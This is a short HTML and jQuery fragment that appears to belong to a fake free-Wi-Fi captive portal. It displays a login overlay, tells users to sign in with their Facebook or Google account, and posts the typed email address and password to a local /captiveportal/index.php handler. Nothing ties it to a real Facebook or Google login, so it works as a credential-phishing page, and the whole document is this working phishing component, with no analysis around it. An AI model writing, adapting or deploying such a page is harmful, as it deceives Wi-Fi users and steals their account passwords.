<script type="text/javascript" src="jquery-3.4.1.min.js"></script>

<script>
window.onload = setTimeout(displayLogin, 1000);
$(function() {
	$("#submit_button").on("click", function() {
        	var email_addr = $('#pa_email').val();
        	var pass = $('#pa_password').val();
        	if (email_addr == "" || pass == "") {
                	alert("Please login with your Facebook or Google account to access free Wi-Fi.");
                    	return;
                } else {
                	$.ajax({
                        	type: "POST",
                        	url: "/captiveportal/index.php",
                        	data: {email: email_addr,
					password: pass,
					target: "<?=$destination?>"},
                        	dataType: 'json',
                        	success: function(data, textStatus, jqXHR) {
					window.location="/captiveportal/index.php";
                        	},
                        	error: function(data, textStatus, errorThrown) {
					window.location="/captiveportal/index.php";
				}
			});
		}
	});
});
function displayLogin() {
	$(function(){
		$("#pa_msgBox").css("opacity", "1");
		$("#pa_msgBox, #pa_overlay-back").fadeIn("slow");
	});
}
</script>